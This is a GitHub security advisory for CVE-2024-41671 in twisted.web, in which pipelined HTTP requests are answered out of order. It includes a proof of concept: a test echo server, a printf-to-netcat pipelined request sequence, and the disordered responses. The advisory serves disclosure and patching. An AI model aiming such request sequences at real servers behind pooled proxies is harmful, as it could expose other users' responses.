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twisted.web has disordered HTTP pipeline response

Moderate severity GitHub Reviewed Published Jul 29, 2024 in twisted/twisted • Updated Nov 18, 2024

Package

pip twisted (pip)

Affected versions

<= 24.3.0

Patched versions

24.7.0rc1

Description

Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

PoC

  1. Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
  1. Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
    && git clone --recurse-submodules https://github.com/twisted/twisted \
    && cd twisted \
    && pip3 install --break-system-packages .
  1. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor

class TheResource(resource.Resource):
    isLeaf = True

    def render_GET(self, request) -> bytes:
        return b"GET"

    def render_POST(self, request) -> bytes:
        return b"POST"

site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
  1. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
  1. Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html

POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html

GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html

POST

Impact

See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

References

@adiroiban adiroiban published to twisted/twisted Jul 29, 2024
Published by the National Vulnerability Database Jul 29, 2024
Published to the GitHub Advisory Database Jul 29, 2024
Reviewed Jul 29, 2024
Last updated Nov 18, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-41671

GHSA ID

GHSA-c8m8-j448-xjx7

Source code

Credits

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